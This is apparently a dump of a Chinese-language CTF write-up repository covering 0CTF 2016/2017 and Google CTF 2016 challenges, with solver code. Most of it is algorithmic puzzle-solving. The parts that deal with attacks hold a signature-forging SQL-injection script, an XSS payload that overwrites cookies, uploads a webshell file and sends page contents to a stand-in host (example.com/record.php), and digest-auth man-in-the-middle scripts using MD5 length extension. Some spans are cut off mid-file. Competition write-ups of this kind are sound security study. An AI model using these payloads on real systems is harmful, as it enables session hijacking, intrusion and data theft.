2 | 下下来一个一堆坐标的文件,一开始以为是每行是一条直线两个端点的坐标(x1, y1, x2, y2),画出来然后直线的交叉点异或处理。后来画出来一个三角形区域,就知道了是(x1, x2, y1, y2)。在画出来一个正方形区域里一坨雪花,仔细想想后发现应该是每行表示一个矩形而不是直线,然后问题就变成了顶点上矩形覆盖数的奇偶性问题,用二维线段树去弄,复杂度才可以接受,就是poj2155原题。懒得写二维线段树就上网随便抄了段题解代码跑(oi的代码果然还是不可靠各种崩,换了n种版本终于不崩了),找了个大内存机器后强行开几G数组跑线段树,发现画出来一个似是而非的东西,中间一坨1像素的直线干扰,如下:
3 |
4 | 
5 |
6 | 后来在开了脑洞,估计就是右下角坐标需要-1,也就是这矩形区域是左闭右开的,然后就画出对的图了,就是一张18000*18000的图里面有大概几个像素大小的字母散落在大图的各处....还需要后续处理一下...
7 |
8 | 二维线段树的c++代码,算法部分直接抄自网上某角落的题解:
9 | ```cpp
10 |
11 | #define SIZE (18000)
12 | #define maxn (72010)
13 | #define DIR "./"
14 |
15 | #define LINE_NUM (13663881)
16 | #include
17 | #include
18 | #include
19 |
20 | using namespace std;
21 | bool *tree[maxn];
22 | int n;
23 | bool sum;
24 |
25 | /*
26 | 更新子线段树,tl、tr对应子矩阵的y1、y2,即要更新的范围。
27 | rtx:母线段树(x轴)的节点,表示该子线段树属于母线段树的节点rtx
28 | rt:子线段树的节点序号
29 | L,R为子线段树节点rt的两端点
30 | */
31 | void updatey(int rtx, int rt, int tl, int tr, int L, int R) {
32 | //一开始弄反了,写成L<=tl && tr<=R。。。
33 | //要注意,应该是所在节点rt的区间在所要更新的节点范围里,更新节点rt的区间对应的值
34 | if (tl <= L && R <= tr) {
35 | tree[rtx][rt] = !tree[rtx][rt]; //对属于更新范围里的子矩阵进行取反
36 | return;
37 | }
38 | int mid = (L + R) >> 1;
39 | //下面部分也可以换成注释掉的语句
40 | if (tl <= mid)
41 | updatey(rtx, rt << 1, tl, tr, L, mid);
42 | if (tr>mid)
43 | updatey(rtx, rt << 1 | 1, tl, tr, mid + 1, R);
44 | /*
45 | if(tr<=mid)
46 | updatey(rtx,rt<<1,tl,tr,L,mid);
47 | else if(tl>mid)
48 | updatey(rtx,rt<<1|1,tl,tr,mid+1,R);
49 | else{
50 | updatey(rtx,rt<<1,tl,mid,L,mid);
51 | updatey(rtx,rt<<1|1,mid+1,tr,mid+1,R);
52 | }
53 | */
54 |
55 |
56 |
57 | }
58 | /*
59 | 更新左上角(x1,y1),右下角(xr,yr)的子矩阵区域
60 | 更新时,先在x轴找到对应[xl,xr]区间的点,再找按y轴找到对应[yl,yr]区间的节点
61 | rt:母线段树的节点序号
62 | L,R:rt节点的区间端点
63 | */
64 | void updatex(int rt, int xl, int xr, int yl, int yr, int L, int R) {
65 | //一开始弄反了,写成L<=xl && xr<=R。。。
66 | if (xl <= L && R <= xr) {
67 | updatey(rt, 1, yl, yr, 0, n);
68 | return;
69 | }
70 | int mid = (L + R) >> 1;
71 | //下面部分也可以换成注释掉的语句
72 | if (xl <= mid)
73 | updatex(rt << 1, xl, xr, yl, yr, L, mid);
74 | if (xr>mid)
75 | updatex(rt << 1 | 1, xl, xr, yl, yr, mid + 1, R);
76 | /*
77 | if(xr<=mid)
78 | updatex(rt<<1,xl,xr,yl,yr,L,mid);
79 | else if(xl>mid)
80 | updatex(rt<<1|1,xl,xr,yl,yr,mid+1,R);
81 | else{
82 | updatex(rt<<1,xl,mid,yl,yr,L,mid);
83 | updatex(rt<<1|1,mid+1,xr,yl,yr,mid+1,R);
84 | }
85 | */
86 |
87 | }
88 | /*
89 | 这里注意的是,是直到L!=R的时候,才停止查询,否则就要一直查询下去,直到查询到y所在的叶子节点
90 | 因为这里“异或”就相当于lazy标记,所以要获得最后的值,则必须遍历过y所在的所有子矩阵
91 | rtx:母线段树(x轴)的节点,表示该子线段树属于母线段树的节点rtx
92 | rt:子线段树的节点序号
93 | L,R为子线段树节点rt的两端点
94 | */
95 | void queryy(int rtx, int rt, int y, int L, int R) {
96 | sum ^= tree[rtx][rt]; //这里注意:要先异或!
97 | if (L != R) {
98 | int mid = (L + R) >> 1;
99 | if (y <= mid)
100 | queryy(rtx, rt << 1, y, L, mid);
101 | else
102 | queryy(rtx, rt << 1 | 1, y, mid + 1, R);
103 | }
104 | }
105 | /*
106 | 这里注意的是,是直到L!=R的时候,才停止查询,否则就要一直查询下去,直到查询到点x所在的叶子节点
107 | 因为这里“异或”就相当于lazy标记,所以要获得(x,y)最后的值,则必须遍历过(x,y)点所在的所有子矩阵
108 | rt:母线段树的节点序号
109 | L,R为子线段树节点rt的两端点
110 | x,y为所要查找的点的值
111 | */
112 | void queryx(int rt, int x, int y, int L, int R) {
113 | queryy(rt, 1, y, 0, n);
114 | //注意:当L> 1;
117 | if (x <= mid)
118 | queryx(rt << 1, x, y, L, mid);
119 | else
120 | queryx(rt << 1 | 1, x, y, mid + 1, R);
121 | }
122 | }
123 |
124 | int main() {
125 |
126 | for (int i = 0; i < maxn; i++) {
127 | tree[i] = new bool[maxn];
128 | memset(tree[i], 0, sizeof(bool[maxn]));
129 | }
130 |
131 | n = SIZE;
132 |
133 | FILE *f = fopen(DIR"xorlist", "r");
134 | int x1, y1, x2, y2;
135 | for (int i = 0; i < LINE_NUM; i++) {
136 | fscanf(f, "%d, %d, %d, %d", &x1, &x2, &y1, &y2);
137 | updatex(1, x1, x2-1, y1, y2-1, 0, n);
138 | if (i % 500000 == 0)
139 | printf("%d\n", i);
140 | }
141 | fclose(f);
142 |
143 | f = fopen(DIR"xor.output", "w");
144 | for (int i = 0; i < SIZE; i++) {
145 | for (int j = 0; j < SIZE; j++) {
146 | sum = false;
147 | queryx(1, x1, y1, 0, n);
148 | fprintf(f, "%c", sum ? '1' : '0');
149 | }
150 | if(i%10==0) printf("%d\n", i);
151 | fprintf(f, "\n");
152 | }
153 | fclose(f);
154 |
155 | return 0;
156 | }
157 | ```
158 |
159 |
160 | 用PIL把输出画成大图:
161 | ```python
162 | from PIL import Image
163 | def draw():
164 | size = 18000
165 | a=open('./xor.output','rb').read()
166 | a=a.replace('\r','').split('\n')
167 | b=Image.new('L',(size,size))
168 | for i in xrange(size):
169 | if i%100==0: print i
170 | for j in xrange(size):
171 | b.putpixel((j, i), 255 if a[i][j]=='1' else 0)
172 | b.resize((1000,1000)).save('./xor3.bmp')
173 | b.save('./xor_original3.png')
174 | ```
175 |
176 | 找字母用代码,把图片和对应坐标打出来:
177 | ```python
178 | import Image
179 | img = Image.open('./xor_original3.png')
180 | counter = 0
181 | x=0
182 | while x<180:
183 | print x
184 | y=0
185 | while y<180:
186 | flag = 0
187 | for i in xrange(100):
188 | for j in xrange(100):
189 | if img.getpixel((y*100+j, x*100+i)) == 0:
190 | flag += 1
191 | if flag > 10: break
192 | if flag > 10: break
193 | if flag > 10:
194 | counter += 1
195 | img.crop((y*100, x*100, (y+1)*100-1, (x+1)*100-1)).save('xor/%d_%d_%d.png' % (counter, x, y))
196 | y+=1
197 | counter += 1
198 | img.crop((0, 0, 99, 99)).save('xor/%d.png' % counter)
199 | x+=1
200 | ```
201 |
202 | 画出来这样的一堆图:
203 | 
204 |
205 | 人肉识别一下:
206 | ```
207 | 10_9_19.png 0
208 | 115_89_35.png B
209 | 117_90_35.png B
210 | 121_93_73.png i
211 | 124_95_89.png G
212 | 126_96_6.png _
213 | 127_96_7.png _
214 | 128_96_89.png G
215 | 12_10_18.png 0
216 | 134_101_127.png _
217 | 135_101_144.png B
218 | 13_10_19.png 0
219 | 152_117_125.png p
220 | 155_119_44.png t
221 | 163_126_14.png i
222 | 164_126_74.png m
223 | 165_126_89.png a
224 | 167_127_89.png a
225 | 16_12_46.png c
226 | 170_129_152.png }
227 | 17_12_92.png f
228 | 19_13_92.png f
229 | 22_15_66.png t
230 | 26_18_122.png {
231 | 27_18_149.png 5
232 | 50_40_19.png m
233 | 51_40_20.png m
234 | 53_41_19.png m
235 | 54_41_20.png m
236 | 55_41_118.png _
237 | 58_43_153.png f
238 | 61_45_72.png L
239 | 62_45_73.png L
240 | 64_46_44.png @
241 | 66_47_89.png L
242 | 84_64_70.png g
243 | 89_68_119.png #
244 | 93_71_36.png @
245 | 95_72_94.png _
246 | 96_72_144.png n
247 | 98_73_13.png L
248 | ```
249 |
250 | 重新渲染一张图...
251 | ```python
252 | >>> zip(b,c)
253 | [((9, 19), '0'), ((89, 35), 'B'), ((90, 35), 'B'), ((93, 73), 'i'), ((95, 89), 'G'), ((96, 6), '_'), ((96, 7), '_'), ((96, 89), 'G'), ((10, 18), '0'), ((101, 127), '_'), ((101, 144), 'B'), ((10, 19), '0'), ((117, 125), 'p'), ((119, 44), 't'), ((126, 14), 'i'), ((126, 74), 'm'), ((126, 89), 'a'), ((127, 89), 'a'), ((12, 46), 'c'), ((129, 152), '}'), ((12, 92), 'f'), ((13, 92), 'f'), ((15, 66), 't'), ((18, 122), '{'), ((18, 149), '5'), ((40, 19), 'm'), ((40, 20), 'm'), ((41, 19), 'm'), ((41, 20), 'm'), ((41, 118), '_'), ((43, 153), 'f'), ((45, 72), 'L'), ((45, 73), 'L'), ((46, 44), '@'), ((47, 89), 'L'), ((64, 70), 'g'), ((68, 119), '#'), ((71, 36), '@'), ((72, 94), '_'), ((72, 144), 'n'), ((73, 13), 'L')]
254 | >>> a=Image.new('L',(180,180))
255 | >>> dr=ImageDraw.Draw(a)
256 | >>> for i,j in zip(b,c):
257 | ... dr.text(i, unicode(j,'UTF-8'), font=font, fill=255)
258 | ...
259 | >>> a.show()
260 | >>> a.save('flag.png')
261 | ```
262 |
263 | 得到flag:
264 | 
265 |
--------------------------------------------------------------------------------
/0CTF2016/xor_flag.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/xor_flag.bmp
--------------------------------------------------------------------------------
/0CTF2016/xor_segment.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/xor_segment.png
--------------------------------------------------------------------------------
/0CTF2016/xor_wrong.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/xor_wrong.png
--------------------------------------------------------------------------------
/0CTF2017/README.md:
--------------------------------------------------------------------------------
1 | ## py
2 |
3 | 利用`marshal.loads`我们人肉扣出encrypt字节码,并根据常量发现了pip里有rotor模块,对着字节码进行了如下脑洞:
4 | ```
5 | \x99\x01\x00 load consts key_a="!@#$%^&*"
6 | \x68\x01\x00 store
7 |
8 | \x99\x02\x00 load consts key_b="abcdefgh"
9 | \x68\x02\x00 store
10 |
11 | \x99\x03\x00 load consts key_c="<>{}:""
12 | \x68\x03\x00 store
13 |
14 | \x61\x01\x00 load_f key_a
15 | \x99\x04\x00 load consts 4
16 | \x46 * key_a * 4
17 |
18 | \x99\x05\x00 load consts |
19 | \x27 + key_a * 4 + "|"
20 |
21 | \x61\x02\x00 load_f key_b
22 | \x61\x01\x00 load_f key_a
23 | \x27 +
24 |
25 | \x61\x03\x00 load_f key_c
26 | \x27 + key_b + key_a + key_c
27 |
28 | \x99\x06\x00 load consts 2
29 | \x46 * (key_b + key_a + key_c) * 2
30 | \x27 + key_a * 4 + "|" + (key_b + key_a + key_c) * 2
31 |
32 | \x99\x05\x00 load consts |
33 | \x27 + key_a * 4 + "|" + (key_b + key_a + key_c) * 2 + "|"
34 |
35 | \x61\x02\x00 load_f key_b
36 | \x99\x06\x00 load consts 2
37 | \x46 * key_b * 2
38 | \x27 + key_a * 4 + "|" + (key_b + key_a + key_c) * 2 + "|" + key_b * 2
39 |
40 | \x99\x07\x00 load consts "EOF"
41 | \x27 + key_a * 4 + "|" + (key_b + key_a + key_c) * 2 + "|" + key_b * 2 + "EOF"
42 |
43 | \x68\x04\x00 store secret = key_a * 4 + "|" + (key_b + key_a + key_c) * 2 + "|" + key_b * 2 + "EOF"
44 | \x9b\x00\x00 IMPORT rotor
45 | \x60\x01\x00 PUSH rotor.rotor
46 |
47 | \x61\x04\x00 load_f secret
48 | \x83\x01\x00 CALL # rotor.rotor(secret)
49 |
50 | \x68\x05\x00 store rot = rotor.rotor(secret)
51 | \x61\x05\x00 load_f rot
52 | \x60\x02\x00 PUSH rot.encrypt
53 |
54 | \x61\x00\x00 load_f data
55 | \x83\x01\x00 CALL # rot.encrypt(data)
56 |
57 | \x53 return
58 | ```
59 |
60 | 其实`\x27`很容易就猜出来是字符串拼接`+`,但是`\x46`我们一开始猜测是SLICE+1, SLICE+2 (即string[x:]和string[:x])折腾了好久,后来才脑洞出来字符串操作还有一个`*`....
61 | 于是就出来了,把secret扔进去rotor模块在decrypt一下就好。
62 |
63 | ## KoG
64 |
65 | 发现`Module.main`会对参数为纯数字的时候进行签名后,传给api.php,但有其他字符时不予签名。
66 | 仔细观察`functionn.js`,可以发现经过c++符号修饰的函数名,可以扔到`c++filt`里查看:
67 | ```
68 | ~$ c++filt _ZN5HASH16updateEPKhj
69 | HASH1::update(unsigned char const*, unsigned int)
70 | ```
71 | 可知有个HASH1的类,仔细寻找代码里隐藏的常数可以知道是md5。
72 |
73 |
74 | ```javascript
75 | function __ZN5HASH16updateEPKhj($this,$input,$length) {
76 | $this = $this|0;
77 | $input = $input|0;
78 | $length = $length|0;
79 | ```
80 | 然后在上面的`__ZN5HASH16updateEPKhj`update函数入口下断点,每次停下的时候在console里把`HEAP`里的`$input`指针指向的位置打出来看看,就知道传入了哪些字符串。一开始程序会传入"Start_here_"作为提示,但后来发现这个字符串是不需要的。事实上,把其他传进来的字符串拼接后,发现`functionn.js`做的就是return md5("d727d11f6d284a0d%s This_is_salt%s" % (payload, timestamp)),然后我们就可以自己对payload签名了,在payload中进行sql注入即可。
81 |
82 |
83 | 脚本如下:
84 | ```py
85 | # __ZN5HASH16updateEPKhj
86 | payload = sys.argv[1]
87 | print payload
88 | hash = hashlib.md5("d727d11f6d284a0d%s This_is_salt1489820887"%payload).hexdigest()
89 | print requests.get('http://202.120.7.213:11181/api.php', params={'id':payload, 'hash':hash, 'time':'1489820887'}).text
90 | ```
91 |
92 | ## Complicated XSS
93 |
94 | 输入`admin.government.vip:8000`会跳转到`admin.government.vip:8000/login`进行登录,
95 | 登录后在`admin.government.vip:8000/`处,发现Cookie中的username字段会直接打到HTML页面上,这里可以进行二次XSS。
96 | 所以在原始payload中,要设置cookie如`username=;domain=.government.vip;path=/`来进行2次XSS,在`admin.government.vip:8000`下XSS就没有域限制。
97 |
98 |
99 | 原始payload脚本(第一次XSS)如下:
100 | ```py
101 | def solve(cap):
102 | print 'cap: %s' % cap
103 | for i in xrange(1000000000):
104 | if hashlib.md5(str(i)).hexdigest()[:len(cap)] == cap:
105 | return str(i)
106 |
107 | s = requests.session()
108 | resp = s.get('http://government.vip/').text
109 | resp = resp[resp.index(" === '")+len(" === '"):]
110 | resp = resp[:6]
111 | task = solve(resp)
112 | data = {"task": task, 'payload': '''
113 | ;domain=.government.vip;path=/'''));
131 | document.write('');
132 |
133 | ''', 'submit':'submit'}
134 | print s.post('http://government.vip/run.php', data=data, headers={'Content-Type':'application/x-www-form-urlencoded'}).text
135 | ```
136 |
137 |
138 | `http://example.com/xss.js`要做的事情如下:
139 | 1. 恢复cookie中的username为admin
140 | 2. 因为`admin.government.vip:8000/`中`delete XMLHttpRequest`,我们可以从``中的contentWindow中把XMLHttpRequest恢复出来。
141 | 3. 使用恢复后的XMLHttpRequest,用恢复后的Cookie: username=admin把``的页面内容回传。
142 |
143 |
144 | 回传后,发现admin的`admin.government.vip:8000/`页面不是flag而是一个让你上传webshell的表单,那么接下来我们只需要把第三步改成:
145 | 3. 使用恢复后的XMLHttpRequest,用恢复后的Cookie: username=admin,往`/upload`POST一个webshell文件(其实什么内容都可以),把response回传。
146 |
147 |
148 | `http://example.com/xss.js`如下:
149 | ```javascript
150 | //'username=admin;domain=.government.vip;path=/'
151 | document.cookie=atob('dXNlcm5hbWU9YWRtaW47ZG9tYWluPS5nb3Zlcm5tZW50LnZpcDtwYXRoPS8=');
152 | document.write("");
153 |
154 | function send2(x, p) {
155 | var xhr = new XMLHttpRequest();
156 | xhr.onreadystatechange = function() {
157 | };
158 | xhr.open('POST', 'http://example.com/record.php?'+p+'='+btoa(x), true);
159 | xhr.send(null);
160 | }
161 |
162 | setTimeout(function(){
163 | var arr = ["Function","eval","alert","XMLHttpRequest","Proxy","Image","postMessage"];
164 | for(var i in arr) {
165 | i = arr[i];
166 | window[i] = document.getElementById('iij').contentWindow[i];
167 | }
168 |
169 | function send(url, data) {
170 | var xhr = new XMLHttpRequest();
171 | xhr.open("POST", url, true);
172 | xhr.onreadystatechange = function () {
173 | if (xhr.readyState == 4)
174 | send2(xhr.responseText, 'resp');
175 | };
176 | var d = new FormData();
177 | d.append('file', new Blob([data]), 'agrnhte.php');
178 | xhr.send(d);
179 | }
180 |
181 | send("http://admin.government.vip:8000/upload", 'aaa');
182 | }, 1000);
183 |
184 | ```
185 |
186 |
187 | 其实过程中遇到了玄学问题,比如它回传个400 BAD REQUEST什么就不谈了...
188 |
189 |
190 | ## simpleXSS
191 |
192 | XSS payload只允许使用大小写字母数字加上`<^*~\-|_=+`这些特殊符号,那么大概只有两种方案:
193 | 1. 利用onload=A=B 可以作一句给A(通常是location)赋值B的简单js赋值操作
194 | 2. 利用某些奇怪的HTML标签特性
195 |
196 |
197 | 比赛时感觉方向1行不通,于是我走了方向2的思路。但方向1还真让某`LC↯BC`队https://ctftime.org/writeup/5956 脑洞出来了个奇葩思路,只能佩服下RMB玩家...不对,应该是$12.95 Dollar玩家orz
198 |
199 |
200 | 我们(nao)想(dong)出来的payload有如下几个关键点:
201 | 1. Chrome会把域名中的`。`(全角句号)理解成`.`
202 | 2. ` len(tmp):
53 | tmp += self._socket.recv(bufsize - len(tmp))
54 | return tmp
55 | except socket.timeout:
56 | if dontraise:
57 | return b''
58 | else:
59 | raise
60 |
61 | def recv_to_buf(self, bufsize=10000, timeout=DEFAULT_TIMEOUT, dontraise=False):
62 | if bufsize <= 0: return
63 | self._socket.settimeout(timeout)
64 | recvLen = 0
65 | flag = True
66 | while flag:
67 | try:
68 | recvData = self._socket.recv(bufsize-recvLen)
69 | recvLen += len(recvData)
70 | #print recvLen, bufsize
71 | self.buf += recvData
72 | flag = False
73 | except socket.timeout:
74 | if not dontraise:
75 | raise
76 |
77 | def getFromBuf(self, size):
78 | tmp = self.buf[:size]
79 | self.buf = self.buf[len(tmp):]
80 | return tmp
81 |
82 | def recvn(self, n, timeout=DEFAULT_TIMEOUT, dontraise=False):
83 | """Receive and Return exact n bytes"""
84 | while len(self.buf) < n:
85 | self.recv_to_buf(bufsize=n-len(self.buf), timeout=timeout, dontraise=dontraise)
86 | return self.getFromBuf(n)
87 |
88 | def recv_until(self, keywords, timeout=DEFAULT_TIMEOUT):
89 | """Receive incoming data until one of the provided keywords is found."""
90 | notFound = 99999999
91 | index = notFound
92 |
93 | if isinstance(keywords, str):
94 | aim_keyword = keywords
95 | index = self.buf.find(keywords)
96 | elif isinstance(keywords, list):
97 | for keyword in keywords:
98 | tmp = self.buf.find(keyword)
99 | if tmp != -1 and tmp < index:
100 | index = tmp
101 | aim_keyword = keyword
102 | else:
103 | raise
104 |
105 | if index == notFound or index == -1:
106 | self.recv_to_buf()
107 | return self.recv_until(keywords, timeout)
108 | return self.getFromBuf(index+len(aim_keyword))
109 |
110 | def recv_until_match(self, regex, group=0, timeout=DEFAULT_TIMEOUT):
111 | """Receive incoming data until it matches the given regex."""
112 | if isinstance(regex, str):
113 | regex = re.compile(regex)
114 | match = regex.search(self.buf)
115 | if match == None:
116 | self.recv_to_buf()
117 | return self.recv_until_match(regex, timeout)
118 | match = match.group(group)
119 | index = self.buf.find(match)
120 | dummy = self.getFromBuf(index)
121 | return self.getFromBuf(len(match))
122 |
123 | def send(self, data):
124 | """Send all data to the remote end or raise an exception."""
125 | self._socket.sendall(data)
126 |
127 | def send_line(self, data):
128 | """Send all data to the remote end or raise an exception. Appends a \\n."""
129 | self.send(data + b'\n')
130 |
131 | def interact(self):
132 | """Interact with the remote end."""
133 | try:
134 | while True:
135 | sys.stdout.write(self.recv(timeout=.05, dontraise=True))
136 | available, _, _ = select.select([sys.stdin], [], [], .05)
137 | if available:
138 | data = sys.stdin.readline()
139 | self.send(data)
140 | except KeyboardInterrupt:
141 | return
142 |
--------------------------------------------------------------------------------
/GoogleCTF2016/exchange.proto:
--------------------------------------------------------------------------------
1 | package main;
2 |
3 | message Exchange {
4 | enum VerbType {
5 | GET = 0;
6 | POST = 1;
7 | }
8 |
9 | message Header {
10 | required string key = 1;
11 | required string value = 2;
12 | }
13 |
14 | message Request {
15 | required VerbType ver = 1; // GET
16 | required string uri = 2; // /blah
17 | repeated Header headers = 3; // Accept-Encoding: blah
18 | optional bytes body = 4;
19 | }
20 |
21 | message Reply {
22 | required int32 status = 1; // 200 or 302
23 | repeated Header headers = 2;
24 | optional bytes body = 3;
25 | }
26 |
27 | oneof type {
28 | Request request = 1;
29 | Reply reply = 2;
30 | }
31 | }
--------------------------------------------------------------------------------
/GoogleCTF2016/exchange.py:
--------------------------------------------------------------------------------
1 | import exchange_pb2
2 | import time
3 | import connection
4 | import hashlib
5 | import pymd5, sys
6 |
7 | reload(sys)
8 | sys.setdefaultencoding("windows-1252")
9 |
10 | def l32(i):
11 | ret = ''
12 | ret += chr((i>>0)&0xFF)
13 | ret += chr((i>>8)&0xFF)
14 | ret += chr((i>>16)&0xFF)
15 | ret += chr((i>>24)&0xFF)
16 | return ret
17 |
18 | def unl32(s):
19 | assert len(s) == 4
20 | ret = 0
21 | ret += ord(s[0])
22 | ret += ord(s[1]) << 8
23 | ret += ord(s[2]) << 16
24 | ret += ord(s[3]) << 24
25 | return ret
26 |
27 | def recv_protobuf(conn):
28 | length = unl32(conn.recvn(4))
29 | return exchange_pb2.Exchange.FromString(conn.recvn(length))
30 |
31 | def send_protobuf(conn, protobuf):
32 | data = protobuf.SerializeToString()
33 | length = l32(len(data))
34 | conn.send(length+data)
35 |
36 | def thru_protobuf(conn, isPrinted=True):
37 | ex = recv_protobuf(conn)
38 | if isPrinted: print ex
39 | send_protobuf(conn, ex)
40 |
41 |
42 |
43 | def calcPass(user, realm, password, method, uri, nonce, nonceCount, cnonce):
44 | ha1 = hashlib.md5(user+':'+realm+':'+password).hexdigest()
45 | ha2 = hashlib.md5(method+':'+uri).hexdigest()
46 | return hashlib.md5(ha1+':'+nonce+':'+nonceCount+':'+cnonce+':auth:'+ha2).hexdigest()
47 |
48 | def md5_padding(st, block_num):
49 | st = st.encode('windows-1252')
50 | ori_len = 512*block_num + len(st)*8
51 | st += "\x80"
52 | assert len(st) < 56
53 | while len(st) != 56:
54 | st += '\x00'
55 | st += l32(ori_len)
56 | st += l32(0)
57 | return st
58 |
59 | def md5(st):
60 | return hashlib.md5(st).hexdigest()
61 |
62 | def md5_append_last_block(md5str, ori, oriblocknum):
63 | ori = md5_padding(ori, oriblocknum)
64 |
65 | a = unl32(md5str[:8].decode('hex'))
66 | b = unl32(md5str[8:16].decode('hex'))
67 | c = unl32(md5str[16:24].decode('hex'))
68 | d = unl32(md5str[24:32].decode('hex'))
69 |
70 | md5obj = pymd5.md5()
71 | md5obj.state =(a, b, c, d)
72 | md5obj.update(ori)
73 | return md5obj.final(False).encode('hex')
74 |
75 | def pure_md5(s):
76 | md5obj = pymd5.md5()
77 | md5obj.update(s)
78 | return md5obj.final(False).encode('hex')
79 |
80 | '''
81 | md5obj = pymd5.md5()
82 | md5obj.update('a'*64)
83 | md5obj.update(md5_padding('aaaaa'))
84 | print md5obj.final(False).encode('hex')
85 | print md5('a'*64+'aaaaa')
86 | exit()
87 | '''
88 | assert md5_append_last_block(md5('a'*64+'abc'), 'c', 2) == md5('a'*64+md5_padding('abc', 1)+'c')
89 |
90 | proxy = None
91 | conn = connection.Connection(('ssl-added-and-removed-here.ctfcompetition.com', 12001), proxy, True)
92 |
93 | req_ex = recv_protobuf(conn)
94 | req_ex.request.uri = '/protected/secret'
95 | send_protobuf(conn, req_ex)
96 | print req_ex
97 |
98 | reply_ex = recv_protobuf(conn)
99 | nonce = reply_ex.reply.headers[1].value[reply_ex.reply.headers[1].value.find('nonce="')+7:]
100 | nonce = nonce[:nonce.find('"')]
101 | send_protobuf(conn, reply_ex)
102 | print reply_ex
103 |
104 | req_ex = recv_protobuf(conn)
105 | response = req_ex.request.headers[0].value[req_ex.request.headers[0].value.find('response="')+10:]
106 | response = response[:response.find('"')]
107 | cnonce = req_ex.request.headers[0].value[req_ex.request.headers[0].value.find('cnonce="')+8:]
108 | cnonce = cnonce[:cnonce.find('"')]
109 | nc = req_ex.request.headers[0].value[req_ex.request.headers[0].value.find('nc=')+3:]
110 | nc = nc[:nc.find(',')]
111 |
112 | ha1 = md5("Mufasa:testrealm@host.com:Circle Of Life")
113 |
114 | inner = ha1+':%s:%s:%s:auth:%s' % (nonce, nc, cnonce, md5('GET:/protected/joke'))
115 | assert md5(inner) == calcPass("Mufasa", "testrealm@host.com", "Circle Of Life", "GET", "/protected/joke", nonce, nc, cnonce)
116 |
117 | cn2 = inner[64:]
118 | cn1 = cnonce[:cnonce.find(cn2[:cn2.find(':')])]
119 |
120 | print cn1, cn2
121 |
122 | new_tail = ':auth:'+md5('GET:/protected/token')
123 | assert md5_append_last_block(md5(inner), new_tail, 2) == md5(inner[:64]+md5_padding(cn2, 1)+new_tail)
124 | assert md5(inner) == pure_md5(inner[:64]+md5_padding(cn2, 1))
125 | new_response = md5_append_last_block(response, new_tail, 2)
126 | new_cnonce = cn1+md5_padding(cn2, 1)
127 |
128 | new_inner = ha1+(':%s:%s:%s' % (nonce, nc, new_cnonce))+new_tail
129 | assert md5_append_last_block(md5(inner), new_tail, 2) == calcPass("Mufasa", "testrealm@host.com", "Circle Of Life", "GET", "/protected/token", nonce, nc, new_cnonce) == md5(new_inner)
130 |
131 | req_ex.request.headers[0].value = req_ex.request.headers[0].value.decode('utf-8')
132 | req_ex.request.headers[0].value = req_ex.request.headers[0].value.encode('windows-1252').replace(cnonce, new_cnonce).replace(response, new_response).replace('/joke', '/token')
133 |
134 | req_ex.request.uri = '/protected/token'
135 |
136 | send_protobuf(conn, req_ex)
137 | print req_ex, req_ex.request.headers[0].value.encode('hex')
138 | thru_protobuf(conn, True)
139 |
140 |
--------------------------------------------------------------------------------
/GoogleCTF2016/exchange2.py:
--------------------------------------------------------------------------------
1 | import exchange_pb2
2 | import time
3 | import connection
4 | import hashlib
5 |
6 | def l32(i):
7 | ret = ''
8 | ret += chr((i>>0)&0xFF)
9 | ret += chr((i>>8)&0xFF)
10 | ret += chr((i>>16)&0xFF)
11 | ret += chr((i>>24)&0xFF)
12 | return ret
13 |
14 | def unl32(s):
15 | assert len(s) == 4
16 | ret = 0
17 | ret += ord(s[0])
18 | ret += ord(s[1]) << 8
19 | ret += ord(s[2]) << 16
20 | ret += ord(s[3]) << 24
21 | return ret
22 |
23 | def recv_protobuf(conn):
24 | length = unl32(conn.recvn(4))
25 | return exchange_pb2.Exchange.FromString(conn.recvn(length))
26 |
27 | def send_protobuf(conn, protobuf):
28 | data = protobuf.SerializeToString()
29 | length = l32(len(data))
30 | conn.send(length+data)
31 |
32 |
33 | proxy = None
34 | conn = connection.Connection(('ssl-added-and-removed-here.ctfcompetition.com', 20691), proxy, True)
35 |
36 | ex = recv_protobuf(conn)
37 | send_protobuf(conn, ex)
38 |
39 | ex = recv_protobuf(conn)
40 | ex.reply.headers[1].value = 'Basic realm="In the realm of hackers"'
41 | send_protobuf(conn, ex)
42 |
43 | ex = recv_protobuf(conn)
44 | cred = ex.request.headers[0].value.replace('Basic ', '').decode('base64').split(':')
45 | ex.request.uri = '/protected/secret'
46 | send_protobuf(conn, ex)
47 |
48 | def calcPass(user, realm, password, method, uri, nonce, nonceCount, cnonce):
49 | ha1 = hashlib.md5(user+':'+realm+':'+password).hexdigest()
50 | ha2 = hashlib.md5(method+':'+uri).hexdigest()
51 | return hashlib.md5(ha1+':'+nonce+':'+nonceCount+':'+cnonce+':auth:'+ha2).hexdigest()
52 |
53 | assert calcPass("Mufasa", "testrealm@host.com", "Circle Of Life", "GET", "/dir/index.html", "dcd98b7102dd2f0e8b11d0f600bfb0c093", "00000001", "0a4f113b") == "6629fae49393a05397450978507c4ef1"
54 |
55 | reply_ex = recv_protobuf(conn)
56 | print reply_ex
57 | auth = reply_ex.reply.headers[1].value
58 |
59 | opaque = auth[auth.find('opaque="')+8:]
60 | opaque = opaque[:opaque.find('"')]
61 | nonce = auth[auth.find('nonce="')+7:]
62 | nonce = nonce[:nonce.find('"')]
63 | nc = "00000002"*9
64 | cnonce = "0a4f113b"*9
65 | response = calcPass(cred[0], 'In the realm of hackers', cred[1], 'GET', ex.request.uri, nonce, nc, cnonce)
66 |
67 | ex.request.headers[0].value = 'Digest username="%s",realm="%s",nonce="%s",uri="%s",qop=auth,nc=%s,cnonce="%s",response="%s",opaque="%s"' % (cred[0], 'In the realm of hackers', nonce, ex.request.uri, nc, cnonce, response, opaque)
68 | send_protobuf(conn, ex)
69 |
70 | print recv_protobuf(conn)
--------------------------------------------------------------------------------
/GoogleCTF2016/exchange3.py:
--------------------------------------------------------------------------------
1 | import exchange_pb2
2 | import time
3 | import connection
4 | import hashlib
5 |
6 | def l32(i):
7 | ret = ''
8 | ret += chr((i>>0)&0xFF)
9 | ret += chr((i>>8)&0xFF)
10 | ret += chr((i>>16)&0xFF)
11 | ret += chr((i>>24)&0xFF)
12 | return ret
13 |
